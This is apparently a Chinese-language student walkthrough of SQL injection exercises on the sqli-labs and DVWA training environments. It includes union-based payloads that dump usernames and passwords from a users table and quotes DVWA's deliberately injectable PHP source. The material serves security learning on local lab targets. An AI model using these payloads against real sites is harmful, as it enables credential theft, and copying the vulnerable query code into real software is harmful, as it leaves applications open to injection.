sql注入练习

第一题

 http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- 

第二题

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3

dvwa 注入练习

low 级别
先调成low

查看代码结构 从而进行分析

代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
    // Get values
    $first = $row["first_name"];
    $last  = $row["last_name"];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

那么我们首先爆出它的库试试，用单引号让id闭合

输入 1’ union select 1,database() – 提交

拖库结果

1' union select 1,concat(user,password) from users -- 

Medium等级

使用bp抓包方式

查看代码

	<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
    // Display values
    $first = $row["first_name"];
    $last  = $row["last_name"];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

发现有这样的一句话： $ id = mysql_real_escape_string($id );
这句话是干什么用的呢？百度了一下知道

mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符，如输入单引号’则处理时会在其前面加上右斜杠\来进行转义，如果语句错误则输出相应的错误信息。其中受影响的字符如下：

\x00 \n \r \ ’ " \x1a

那我们换这样的注入方式 只要不用’就行

id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database()) -- &Submit=Submit